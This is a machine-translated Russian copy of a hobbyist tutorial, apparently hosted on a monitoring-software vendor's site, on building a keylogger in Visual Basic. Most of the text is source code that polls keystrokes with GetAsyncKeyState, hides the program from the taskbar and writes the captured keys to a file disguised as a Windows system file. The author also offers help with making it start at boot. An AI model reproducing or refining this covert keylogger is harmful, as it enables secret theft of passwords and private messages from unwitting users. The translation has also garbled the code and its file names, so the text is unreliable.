This is a machine translation. The original page (in English) is available here.
Окна
Мак ОС
Мобильный

Последние новости: 19 сентября, 2016 - мы добавили новые категории для контроля испытаний продукции: микрофон и веб-камера, запись и т. д... RSS канал

Главная>статьи>создание Кейлоггера в VB

AnyKeylogger для Mac

Создание Кейлоггера в VB

Тихая тень

Ок...я предполагаю, что вы имеете базовые знания о том, как визуальные основные работы и как сделать программ, отладки и компиляции. Если нет, напишите мне, и я мог бы помочь.

Во-первых, если Вы не имеете его, получить его. ApiGuide. Скачать ее на http://www.mentalis.org/agnet/apiguide.shtml

Ок. Открываем VB и запуска нового приложения. Добавить в форму кнопку, таймер и модуль(я знаю, что модуль не части формы). Вот и все. Изменить название кнопки, чтобы начать запись
(если вы хотите, чтобы он запускался при запуске...в личку мне или напишите мне)
Теперь, используя руководство API или просто скопировать отсюда, объявить новую функцию. функция GetASyncKeyState

Объявить функцию GetAsyncKeyState либ "библиотека user32" псевдоним "GetAsyncKeyState"
(Как byval vKey как долго) как integer

^---поставить это в разделе объявлений модуля.

Это все одна строка кода. Убедитесь, что его так. и не делится на 2.

Теперь у вас есть новая функция на использование программы.
ок...
теперь мы должны сделать его "невидимым". Теперь им жаль, но в Windows XP я не знаю, как удалить его из раздела "процессы" диспетчера задач. Но кроме этого...его невидимым.

ОК. В код кнопки..., по событию Click, конечно...
введите следующую

приложение.taskvisible = ложь
форма form1.видна = ложь
форма form1.скрыть
таймера1.включен = истина


- а также в разделе свойства форма...изменение shownintaskbar значение false

Теперь когда мы нажимаем на кнопку...он становится невидимым.

Теперь нам понадобится некоторые переменные....
Назад в раздел объявлений заявляю следующее...

Дим strLetter как строку, strTotal как строку

Теперь в коде Таймер поставили. Болен позже объясню.
также установить интервал для 1 и Enabled на false

Частная Суб Timer1_Timer()

Для I = 28 До 128

Если GetAsyncKeyState <> 0 Тогда

strLetter = ЧР(я)


Теперь здесь вы можете добавить некоторые вещи
так что вместо того, чтобы показывать
'отсталых персонажей, он говорит вам
что пользователь нажал. Что я имею ввиду
если они нажмите Enter/вернуть, это
Показывают какой-то странный ящик. Вы не хотите, что
так у тебя выбор я для каждого
кнопка U хотите настроить. Pm мне или электронной почте
'мне за помощью по этой части.


strTotal = strTotal & strLetter


Конец Если

Затем Я

открыть "C:\Windows\SysResources.DAT" на выход #1
Печать #1, strTotal
закрыть #1

Конец Подпрограммы


- Конец Кода

Теперь все, что вам нужно сделать, это когда вы хотите проверить клавиши, открыть C:\Windows\SysResource.DAT в блокноте, и там. Эта программа не будет работать при запуске. Если вы хотите знать, как это сделать, в личку мне, а лучше напишите мне. Я бы вы добавить меня в MSN мессенджер. Моя Электронная почта для обмена... [email protected]
Моя Электронная почта для отправки по электронной почте находится..... [email protected].

Надеюсь, что это помогает!
Вот вам и весь кодинг для ламеров...

Начало

Дим strLetter как строку, strTotal как строки, старого как строку

Частные Command1_Click Югу()
Таймера1.Включен = Истина
Конец Подпрограммы

Частная Суб Form_Load()
Команда1.Заголовок = "Запустить Логгин"
Таймера1.Включено = False
Таймера1.Интервал = 1
Конец Подпрограммы

Частная Суб Timer1_Timer()
Для i = 28 до 128 'код ASCII
Если GetAsyncKeyState <> 0 Тогда
strLetter = ЧР(я)
Конец Если
Если strletter <> старые то
Старый = strletter
strTotal = strTotal и старый
Конец Если
Затем Я
Открыть "C:\windows\SysResources.dat" На Выход #1
Печать #1, strTotal
Закрыть #1
Конец Подпрограммы

'Конечные

я думаю все кроме модуля конечно.
Прочитать полный текст статьи
Главная>статьи>создание Кейлоггера в VB
Важно! Установка средств мониторинга компьютеров Вы не владеете или не имеете разрешение монитора может нарушить местным, государственным или Федеральным законом.
Предложить перевод